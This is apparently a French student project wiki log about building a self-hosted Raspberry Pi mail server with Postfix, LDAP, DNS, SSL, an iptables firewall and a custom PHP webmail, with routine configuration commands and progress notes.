===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24448</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24448"/>
				<updated>2015-12-15T07:30:44Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
